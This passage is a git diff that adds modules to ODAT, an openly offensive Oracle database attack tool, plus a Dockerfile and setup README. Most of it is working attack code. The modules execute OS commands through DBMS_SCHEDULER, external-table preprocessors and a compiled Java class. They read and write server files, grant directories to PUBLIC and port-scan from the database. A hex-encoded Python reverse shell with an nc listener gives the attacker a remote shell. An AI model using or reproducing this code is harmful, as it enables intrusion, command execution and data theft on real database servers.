additional_info from dba_scheduler_job_run_details where job_name ='J1226'; + ''' + self.jobName = self.__generateRandomString__(nb=20) + logging.info('Execute the following command on the remote database system: {0}'.format(cmd)) + logging.info('Be Careful: Special chars are not allowed in the command line') + status = self.__createJob__(cmd) + if isinstance(status,Exception): return status + status = self.__runJob__() + if isinstance(status,Exception): return status + return True + + def __runListenNC__ (self,port=None): + ''' + nc listen on the port + ''' + try : + subprocess.call("nc -l -v {0}".format(port), shell=True) + except KeyboardInterrupt: pass + + def giveReverseShell(self, localip, localport): + ''' + Give a reverse tcp shell via nc + Need upload nc.exe if the remote system is windows + ''' + if self.remoteSystemIsWindows() == True : + logging.info('The remote system is windows. I will upload the nc.exe binary on the remote server to give you a reverse shell') + pass + elif self.remoteSystemIsLinux() == True : + PYTHON_CODE = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""".format(localip, localport) + CMD = '''/usr/bin/python -c exec('{0}'.decode('hex'))'''.format(PYTHON_CODE.encode('hex')) + #PYTHON_CODE = "import commands;f=open('/tmp/bt.txt','w');tmp=commands.getstatus('/bin/ls');f.write(tmp);f.close();" + #CMD = '''/usr/local/python -c exec('{0}'.decode('hex'))'''.format(PYTHON_CODE.encode('hex')) + #CMD = '''/usr/bin/wget 184.0.87.238:1234''' + self.args['print'].goodNews("The python reverse shell tries to connect to {0}:{1}".format(localip,localport)) + a = Thread(None, self.__runListenNC__, None, (), {'port':localport}) + a.start() + try : + self.execOSCommand(cmd=CMD) + except KeyboardInterrupt: + self.args['print'].goodNews("Connection closed") + self.__getJobStatus__() + else : + logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower())) + + def testAll (self): + ''' + Test all functions + ''' + command = self.__generateRandomString__() + self.args['print'].subtitle("DBMSSCHEDULER library ?") + logging.info("Try to use the DBMScheduler library to execute the following random command: {0}".format(command)) + status = self.execOSCommand(cmd=command) + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + + +def runDbmsSchedulerModule(args): + ''' + Run the DBMSAdvisor module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","exec","reverse-shell"]) == False : return EXIT_MISS_ARGUMENT + dbmsScheduler = DbmsScheduler(args) + status = dbmsScheduler.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSScheduler library can be used") + status = dbmsScheduler.testAll() + #Option 1: exec + if args['exec'] != None: + args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) + status = dbmsScheduler.execOSCommand(args['exec']) + if status == True: + args['print'].goodNews("The `{0}` command was executed on the {1} server".format(args['exec'],args['server'])) + else : + args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status))) + dbmsScheduler.__getJobStatus__() + #Option 2: reverse shell + if args['reverse-shell'] != None : + args['print'].title("Try to give you a reverse shell from the {0} server".format(args['server'])) + dbmsScheduler.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1]) + dbmsScheduler.close() + + + + + + diff --git a/DbmsXslprocessor.py b/DbmsXslprocessor.py new file mode 100644 index 0000000..d10b783 --- /dev/null +++ b/DbmsXslprocessor.py @@ -0,0 +1,74 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class DbmsXslprocessor (DirectoryManagement): + ''' + Allow the user to write file on the remote database system with DbmsXslprocessor + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmsXslprocessor object created") + DirectoryManagement.__init__(self,args) + + def putFile (self, remotePath, remoteNameFile, data=None, localFile=None): + ''' + Put a file on the remote database server + Exemple : CREATE OR REPLACE DIRECTORY XML_DIR AS 'C:\temp\'; + exec dbms_xslprocessor.clob2file('dede', 'XML_DIR','outfile.txt'); + ''' + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.critical("To put a file, choose between a localFile or data") + if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) + else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + if localFile != None : + data = self.__loadFile__(localFile) + response = self.__execProc__("dbms_xslprocessor.clob2file",options=(data, self.directoryName, remoteNameFile)) + if isinstance(response,Exception): + logging.info("Impossible to create a file with dbms_xslprocessor: {0}".format(self.cleanError(response))) + return response + return True + + def testAll (self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("DBMS_XSLPROCESSOR library ?") + logging.info("Simulate the file creation in the {0} folder with DBMS_XSLPROCESSOR".format(folder)) + logging.info('The file is not created remotly because the folder should not exist') + status = self.putFile(folder,'temp.txt',data='data in file') + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runDbmsXslprocessorModule(args): + ''' + Run the DbmsXslprocessor module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","putFile"]) == False : return EXIT_MISS_ARGUMENT + dbmsXslprocessor = DbmsXslprocessor(args) + status = dbmsXslprocessor.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSAdvisor library can be used") + status = dbmsXslprocessor.testAll() + #Option 1: putLocalFile + if args['putFile'] != None: + args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) + status = dbmsXslprocessor.putFile(args['putFile'][0], args['putFile'][1],localFile=args['putFile'][2]) + if status == True: + args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1])) + else : + args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status))) + dbmsXslprocessor.close() diff --git a/DirectoryManagement.py b/DirectoryManagement.py new file mode 100644 index 0000000..55f24ef --- /dev/null +++ b/DirectoryManagement.py @@ -0,0 +1,87 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging + +class DirectoryManagement(OracleDatabase): + ''' + Allow to manage directories + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DirectoryManagement object created") + OracleDatabase.__init__(self,args) + self.PREFIX = "ODATPREFIX" + #self.__dropAllOldDirectories__() + self.__setDirectoryName__() + + def __setDirectoryName__(self): + ''' + Generate a new directory name + ''' + logging.debug('Generate a new directory name localy') + self.directoryName = self.PREFIX + self.__generateRandomString__(nb=20).upper() + + def __createOrRemplaceDirectory__(self,path): + ''' + Create a directory and grant READ,WRITE to PUBLIC + Return True if no error, otherwise return exception + ''' + logging.debug('Create or remplace the {0} directory to {1}'.format(self.directoryName, path)) + CREATE_REQUEST = "CREATE OR REPLACE DIRECTORY {0} AS '{1}'".format(self.directoryName, path) + GRANT_REQUEST = "GRANT READ,WRITE ON DIRECTORY {0} TO PUBLIC".format(self.directoryName) + response = self.__execPLSQL__(CREATE_REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to create the directory: {0}".format(str(response).replace('\n',' '))) + return response + response = self.__execPLSQL__(GRANT_REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to grant privileges on the directory: {0}".format(str(response).replace('\n',' '))) + return response + return True + + def __dropThisDirectory__(self, nameOfTheDirectory): + ''' + Drop the directoryName directory + Return True if no error, otherwise return exception + ''' + logging.debug('Drop the {0} directory'.format(nameOfTheDirectory)) + DROP_REQUEST = "DROP DIRECTORY {0}".format(nameOfTheDirectory) + response = self.__execPLSQL__(DROP_REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to drop the directory: {0}".format(str(response).replace('\n',' '))) + return response + return True + + def __dropDirectory__(self): + ''' + Drop the directoryName directory + Return True if no error, otherwise return exception + ''' + return self.__dropThisDirectory__(self.directoryName) + + def __dropAllOldDirectories__(self): + ''' + Drop all directories created + Return False if error + Otherwise return True + ''' + logging.debug('Drop all directories created') + SELECT_REQ = "SELECT directory_name FROM all_directories WHERE directory_name LIKE '{0}%'".format(self.PREFIX) + response = self. __execThisQuery__(query=SELECT_REQ,ld=['directory_name']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(SELECT_REQ,str(response))) + return ErrorSQLRequest(response) + if response == [] : + logging.debug("No directory to delete") + return True + else : + for aDir in response : + self.__dropThisDirectory__(aDir['directory_name']) + return True + + + diff --git a/Docker/Dockerfile b/Docker/Dockerfile new file mode 100644 index 0000000..8b4cd96 --- /dev/null +++ b/Docker/Dockerfile @@ -0,0 +1,30 @@ +FROM debian:wheezy +# Reduce output from debconf +env DEBIAN_FRONTEND noninteractive + +# Install python-dev, alien and libaio1 package (for sqlplus) and some python libraries +RUN apt-get update && apt-get install -y --no-install-recommends apt-utils git wget libaio1 alien build-essential dpkg-dev python-dev python-pip python-scapy ca-certificates +WORKDIR /tmp +# Generate DEB files from RPM files to install instant client basic, sdk and sqlplus +ADD oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm +ADD oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm +ADD oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm +RUN alien --to-deb oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm +RUN dpkg -i oracle-instantclient12.1-basic_12.1.0.1.0-2_amd64.deb oracle-instantclient12.1-sqlplus_12.1.0.1.0-2_amd64.deb oracle-instantclient12.1-devel_12.1.0.1.0-2_amd64.deb +RUN bash -c 'rm *.{deb,rpm}' +# Define Oracle env variables +RUN bash -c 'echo "export ORACLE_HOME=/usr/lib/oracle/12.1/client64" >> /etc/profile' +RUN bash -c 'echo "export LD_LIBRARY_PATH=\$LD_LIBRARY_PATH:\$ORACLE_HOME/lib" >> /etc/profile' +RUN bash -c 'echo "export PATH=\$ORACLE_HOME/bin:\$PATH" >> /etc/profile' +# Create the /etc/ld.so.conf.d/oracle.conf file and add the path to Oracle home +RUN bash -c 'echo "/usr/lib/oracle/12.1/client64/lib/" > /etc/ld.so.conf.d/oracle.conf' +RUN bash -c 'ldconfig' +# Install CX_Oracle +RUN bash -cl 'pip install cx_Oracle' +# Install some python libraries and pyinstaller +RUN pip install colorlog termcolor pycrypto argcomplete pyinstaller +RUN activate-global-python-argcomplete +# Change to /root et clone odat project +WORKDIR /root +RUN git clone https://github.com/quentinhardy/odat.git +WORKDIR odat diff --git a/Docker/README.md b/Docker/README.md new file mode 100644 index 0000000..c180f46 --- /dev/null +++ b/Docker/README.md @@ -0,0 +1,16 @@ +You can use docker to rapidly deploy and use odat ! + +You can build it with the Dockerfile provided. + +* First, get RPMs of instant client basic, sdk (devel) and sqlplus from the Oracle web site +*(use the same directory for Dockerfile and .rpm)* + +http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html *(user registration required)* + +* Edit "Dockerfile" and adapt the version of downloaded RPMs *(line 9 to 13)* + +* Then : +```bash +docker build -t="odat" . +docker run --name myodat_container -i -t odat bash +``` diff --git a/ExternalTable.py b/ExternalTable.py new file mode 100644 index 0000000..780a08c --- /dev/null +++ b/ExternalTable.py @@ -0,0 +1,158 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class ExternalTable (DirectoryManagement): + ''' + Allow the user to read file thanks to external tables + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("ExternalTable object created") + DirectoryManagement.__init__(self,args) + self.tableName = self.__generateRandomString__() + self.__setDirectoryName__() + self.ERROR_EXTERNAL_TABLE_WITH_WRITE = "ORA-30653: " + self.ERROR_EXTERNAL_TABLE_READ ="ORA-29400: " + + def __createTableForReadFile__(self,remoteNameFile): + ''' + Create table name with, for exemple: + CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); + ''' + logging.info('Create the table: {0}'.format(self.tableName)) + query = "CREATE TABLE {0} (line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE BADFILE 'bad_data.bad' LOGFILE 'log_data.log' FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL REJECT ROWS WITH ALL NULL FIELDS (line)) LOCATION ('{2}')) PARALLEL REJECT LIMIT 0 NOMONITORING".format(self.tableName, self.directoryName, remoteNameFile) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __createTableForExec__(self,remoteNameFile): + ''' + Create a table in order to execute a command + ''' + logging.info('Create the table: {0}'.format(self.tableName)) + query = """CREATE TABLE {0} ( line NUMBER , text VARCHAR2(4000)) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE NOLOGFILE PREPROCESSOR {1}: '{2}' FIELDS TERMINATED BY WHITESPACE ( line RECNUM , text POSITION(1:4000)) ) LOCATION ('{2}') ) REJECT LIMIT UNLIMITED""".format(self.tableName, self.directoryName, remoteNameFile) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __dropTable__(self): + ''' + Drop the table with, for exemple + DROP TABLE my_table PURGE; + ''' + logging.info('Drop the table: {0}'.format(self.tableName)) + query = "DROP TABLE {0} PURGE".format(self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + + def getFile (self,remotePath, remoteNameFile, localFile): + ''' + Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) + ''' + data = "" + logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + status = self.__createTableForReadFile__(remoteNameFile) + if isinstance(status,Exception): return status + request = "select line from {0}".format(self.tableName) + response = self.__execThisQuery__(query=request,ld=['line']) + if isinstance(response,Exception): + logging.info('Error with the SQL request {0}: {1}'.format(request,response)) + status = self.__dropDirectory__() + status = self.__dropTable__() + return response + else : + for l in response: + data += l['line']+'\n' + status = self.__dropDirectory__() + status = self.__dropTable__() + return data + + def execute (self, remotePath, remoteNameFile): + ''' + Execute a command + ''' + logging.info("Execute the {0} command stored stored in {1}".format(remoteNameFile,remotePath)) + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + status = self.__createTableForExec__(remoteNameFile) + if isinstance(status,Exception): return status + request = "select line from {0}".format(self.tableName) + response = self.__execThisQuery__(query=request, ld=['line']) + if isinstance(response,Exception): + logging.info('Error with the SQL request {0}: {1}'.format(request,response)) + status = self.__dropDirectory__() + status = self.__dropTable__() + return response + else : + logging.info("{0} command executed without errors".format(remoteNameFile)) + status = self.__dropDirectory__() + status = self.__dropTable__() + return response + + def testAll(self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("External table to read files ?") + logging.info("Simulate the file reading in the {0} folder thanks to an external table".format(folder)) + status = self.getFile (remotePath=folder, remoteNameFile='data.txt', localFile="test.txt") + if status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + self.args['print'].subtitle("External table to execute system commands ?") + logging.info("Simulate the file execution thanks to an external table") + status = self.execute (remotePath=folder, remoteNameFile='test') + if status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runExternalTableModule (args): + ''' + Run the External Table module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile","exec"]) == False : return EXIT_MISS_ARGUMENT + externalTable = ExternalTable(args) + status = externalTable.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the External Table module can be used") + status = externalTable.testAll() + #Option 1: getFile + if args['getFile'] != None: + args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0])) + data = externalTable.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2]) + if isinstance(data,Exception): + args['print'].badNews("There is an error: {0}".format(data)) + else: + args['print'].goodNews("Data stored in the remote file {0} stored in {1}".format(args['getFile'][1],args['getFile'][0])) + print data + #Option 2: exec a script or command + if args['exec'] != None: + args['print'].title("Execute the {0} command stored in the {1} path".format(args['exec'][1],args['exec'][0])) + data = externalTable.execute (remotePath=args['exec'][0], remoteNameFile=args['exec'][1]) + if isinstance(data,Exception): + args['print'].badNews("There is an error: {0}".format(data)) + else: + args['print'].goodNews("The {0} command stored in {1} has been executed (normally)".format(args['exec'][1],args['exec'][0])) + + diff --git a/Http.py b/Http.py new file mode 100644 index 0000000..42c6bc8 --- /dev/null +++ b/Http.py @@ -0,0 +1,153 @@ +#!/usr/bin/python +# -*- coding: utf-8 -* + +from OracleDatabase import OracleDatabase +import threading, thread +import logging +import Queue +from texttable import Texttable +from Utils import areEquals +import os +from Constants import * +from Utils import getScreenSize + +class Http (OracleDatabase): + ''' + Allow the user to scan ports + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Http object created") + OracleDatabase.__init__(self,args) + self.ERROR_NO_HTTP = "ORA-29263: " + self.ERROR_PROTOCOL = "ORA-29259: " + self.ERROR_NO_OPEN = "ORA-12541: " + self.ERROR_TIMEOUT = "ORA-12535: " + self.ERROR_TRANSF_TIMEOUT = "ORA-29276: " + self.ERROR_UTL_TCP_NETWORK = "ORA-29260: " + + class scanAPort(threading.Thread): + + def __init__(self, utlHttpObject,ip,ports,portStatusQueue,pbar,nb,portsQueue,queueLock): + threading.Thread.__init__(self) + self.utlHttpObject = utlHttpObject + self.ip = ip + self.portStatusQueue = portStatusQueue + self.pbar = pbar + self.nb = nb + self.portsQueue = portsQueue + self.queueLock = queueLock + + def run(self): + protocol, status, info = None, None, None + while True: + if self.portsQueue.empty(): thread.exit() + try : + port = self.portsQueue.get(block=False) + except Exception, e: + thread.exit() + url = 'http://{0}:{1}/'.format(self.ip, port) + logging.debug("Scanning "+url+' ... (response in max 60 secs)') + try: + response = self.utlHttpObject.tryToConnect(self.ip, port) + except Exception,e: + response = self.utlHttpObject.sendGetRequest(url) + if isinstance(response,Exception): + logging.debug('Error returned: {0}'.format(response)) + if self.utlHttpObject.ERROR_NO_OPEN in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_NO_OPEN + elif self.utlHttpObject.ERROR_TIMEOUT in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_TIMEOUT + elif self.utlHttpObject.ERROR_UTL_TCP_NETWORK in str(response): protocol, status, info = 'tcp','close',self.utlHttpObject.ERROR_UTL_TCP_NETWORK + elif self.utlHttpObject.ERROR_NO_HTTP in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_NO_HTTP + elif self.utlHttpObject.ERROR_PROTOCOL in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_PROTOCOL + elif self.utlHttpObject.ERROR_TRANSF_TIMEOUT in str(response): protocol, status, info = 'tcp','open',self.utlHttpObject.ERROR_TRANSF_TIMEOUT + else: protocol, status, info = 'tcp','unknown',None + else : protocol, status, info = 'tcp/HTTP','open',None + self.queueLock.acquire() + if protocol != None : self.portStatusQueue.put([port,protocol,status,info]) + nb = self.nb.get(block=False) + 1 + self.nb.put(nb) + self.pbar.update(nb) + self.queueLock.release() + self.portsQueue.task_done() + + def scanTcpPorts(self,httpObject=None,ip=None,ports=[],nbThread=2): + ''' + Scan tcp port of the ip system + ''' + pbar,nb = self.getStandardBarStarted(len(ports)),Queue.Queue(1) + threads, portStatusQueue, portsQueue = [], Queue.Queue(), Queue.Queue() + queueLock = threading.Lock() + nb.put(0) + for aPort in ports : portsQueue.put(aPort) + for i in range(nbThread): + thread = httpObject.scanAPort(httpObject,ip,ports,portStatusQueue,pbar,nb, portsQueue,queueLock) + threads += [thread] + thread.start() + portsQueue.join() + pbar.finish() + portStatus = [item for item in portStatusQueue.queue] + return sorted(portStatus, key=lambda x: int(x[0])) + + def printScanPortResults(self,results): + ''' + resultats is a list of list + print resultat of scan port + ''' + cleanList = [] + results.insert(0,["PORT","PROTOCOL","STATE",'ERROR']) + table = Texttable(max_width=getScreenSize()[0]) + table.set_deco(Texttable.HEADER) + if self.args['verbose']<2 : + for l in results: + if areEquals(l[2],'close')==False: cleanList.append(l) + results = cleanList + + table.add_rows(results) + self.args['print'].goodNews("Scan report for {0}:\n{1}".format(self.args['scan-ports'][0],table.draw())) + + def parseRequest(self,nameFileRequest=None): + ''' + Parse le fichier nameFile contenant une requête HTTP et retourne + une liste permettant ensuite d'envoyer la requête avec httlib par + exemple. + Exemple d'utilisation: + conn = httplib.HTTPConnection("root-me.org") + conn.request(dataReq['method'],dataReq['url'],dataReq['body'],dataReq['header']) + page = conn.getresponse().read() + ... + conn.close() + ''' + TYPE_REQUEST = ['GET','POST'] + if os.path.isfile(nameFileRequest)==False : + logging.error("File {0} not exist".format(nameFileRequest)) + return None + f = open(nameFileRequest) + dataRequest = {'method':'', 'url':'', 'body':None, 'header':{}} + for nl, l in enumerate(f): + if nl==0 : + try : + lsplit = l.split(" ") + if len(lsplit) != 3 : + logging.error("{0} not contains 3 parts".format(repr(l))) + return None + if lsplit[0] in TYPE_REQUEST : + dataRequest['method']=lsplit[0] + dataRequest['url']=lsplit[1] + dataRequest['version']=lsplit[2].replace('\n','').replace('\t','') + else : + logging.error("{0} not in {1}".format(lsplit[0],TYPE_REQUEST)) + return None + except: + logging.error("Error with the first line {0} of the file \'{1}\'".format(repr(l),nameFileRequest)) + return None + else : + try: + lsplit = l.split(": ") + dataRequest['header'][lsplit[0]]=lsplit[1].replace("\n","") + except: + logging.error("Error with the line {0} of the file \'{1}\'".format(repr(l),nameFileRequest)) + return None + f.close() + return dataRequest diff --git a/HttpUriType.py b/HttpUriType.py new file mode 100644 index 0000000..7cd7f36 --- /dev/null +++ b/HttpUriType.py @@ -0,0 +1,85 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from Http import Http +import logging +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + + +class HttpUriType (Http): + ''' + Allow the user to send HTTP request + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("HttpUriType object created") + Http.__init__(self,args) + + def sendGetRequest(self,url,printResponse=True): + ''' + Send a HTTP get request to url + Return False if the current user is not allowed to use the httpuritype lib, else return False or response data + ''' + logging.info('Send a HTTP GET request to {0}'.format(url)) + query = "select httpuritype('{0}').getclob() from dual".format(url) + response = self.__execQuery__(query=query,ld=['data']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + elif isinstance(response,list) and isinstance(response[0],dict): + return response[0]['data'] + logging.info('Enough privileges') + return '' + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("HTTPURITYPE library ?") + logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the HTTPURITYPE library') + response = self.sendGetRequest('http://0.0.0.0/',printResponse=False) + if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + else: + self.args['print'].goodNews("OK") + return True + +def runHttpUriTypeModule(args): + ''' + Run the HTTPURITYPE module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","httpUrl","scan-ports"]) == False : return EXIT_MISS_ARGUMENT + httpUriType = HttpUriType(args) + status = httpUriType.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the HTTPURITYPE library can be used") + status = httpUriType.testAll() + #Option 1: httpUrl + if args['httpUrl'] != None: + args['print'].title("Send a GET request from {0} to {1}".format(args['connectionStr'],args['httpUrl'])) + response = httpUriType.sendGetRequest(url=args['httpUrl']) + if isinstance(response,Exception): + args['print'].badNews("HTTP GET request failed") + else : + args['print'].goodNews("The server response is:\n {0}".format(response)) + if args['outputFile'] != None : httpUriType.writeFile(args['outputFile'],str(response)) + #Option 2: scan-ports + if args['scan-ports'] != None: + ports = [] + if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',') + elif '-' in args['scan-ports'][1]: + startEnd = args['scan-ports'][1].split('-') + for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort)) + else : logging.error("Syntax for ports given not recognized (ex: 123-2452 or 143,134,4783)") + args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0])) + resultats = httpUriType.scanTcpPorts(httpObject=httpUriType,ip=args['scan-ports'][0],ports=ports) + httpUriType.printScanPortResults(resultats) + httpUriType.close() + + diff --git a/Info.py b/Info.py new file mode 100644 index 0000000..4c462a5 --- /dev/null +++ b/Info.py @@ -0,0 +1,48 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging + +class Info (OracleDatabase): + ''' + Information about the remote Oracle database + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Info object created") + OracleDatabase.__init__(self,args) + self.version = '' + self.os = '' + + def isVersion(self, version=None): + ''' + return True if version 11 + ''' + if version in self.version : return True + else: return False + + + def loadInformationRemoteDatabase(self): + ''' + Get the oracle versions + ''' + logging.debug ("Pickup the remote verion") + self.version = self.args['dbcon'].version + logging.debug ("Pickup the remote Operating System") + REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where banner like 'TNS for %'" + response = self.__execQuery__(query=REQ,ld=['OS']) + if isinstance(response,Exception): + pass + else : + if isinstance(response,list) and isinstance(response[0],dict): + self.os = response[0]['OS'] + logging.info(str(self)) + + def __str__(self): + ''' + String representation + ''' + return "Oracle Version: {0} and OS Version: {1}".format(self.version,self.os) diff --git a/Java.py b/Java.py new file mode 100644 index 0000000..cc59bf8 --- /dev/null +++ b/Java.py @@ -0,0 +1,285 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, subprocess +from threading import Thread +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class Java (OracleDatabase): + ''' + Allow to use Java remotly + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Java object created") + OracleDatabase.__init__(self,args) + self.SOURCE_OS_COMMAND_CLASS = """ +CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS + import java.io.*; + public class OSCommand { + public static String executeCommand(String command) { + StringBuffer sb = new StringBuffer(); + try { + String[] finalCommand; + if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { + String systemRootvariable; + try {systemRootvariable = System.getenv("SystemRoot");} + catch (ClassCastException e) { + systemRootvariable = System.getProperty("SystemRoot"); + } + finalCommand = new String[4]; + finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe"; + finalCommand[1] = "/y"; + finalCommand[2] = "/c"; + finalCommand[3] = command; + } else { // Linux or Unix System + finalCommand = new String[3]; + finalCommand[0] = "/bin/sh"; + finalCommand[1] = "-c"; + finalCommand[2] = command; + } + // Execute the command... + final Process pr = Runtime.getRuntime().exec(finalCommand); + // Capture output from STDOUT + BufferedReader br_in = null; + try { + br_in = new BufferedReader(new InputStreamReader(pr.getInputStream())); + String buff = null; + while ((buff = br_in.readLine()) != null) { + sb.append(buff); sb.append("\\n"); + try {Thread.sleep(100);} catch(Exception e) {} + } + br_in.close(); + } catch (IOException ioe) { + System.out.println("Error printing process output."); + ioe.printStackTrace(); + } finally { + try { + br_in.close(); + } catch (Exception ex) {} + } + // Capture output from STDERR + BufferedReader br_err = null; + try { + br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream())); + String buff = null; + while ((buff = br_err.readLine()) != null) { + sb.append("stderr:"); + sb.append(buff); + sb.append("\\n"); + try {Thread.sleep(100);} catch(Exception e) {} + } + br_err.close(); + } catch (IOException ioe) { + System.out.println("Error printing execution errors."); + ioe.printStackTrace(); + } finally { + try { + br_err.close(); + } catch (Exception ex) {} + } + } + catch (Exception ex) { + System.out.println(ex.getLocalizedMessage()); + } + return sb.toString(); + } + };""" + self.SOURCE_OS_COMMAND_CREATE_FUNCTION = "CREATE OR REPLACE FUNCTION oscmd (p_command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OSCommand.executeCommand (java.lang.String) return java.lang.String';" + self.SOURCE_OS_COMMAND_EXEC = 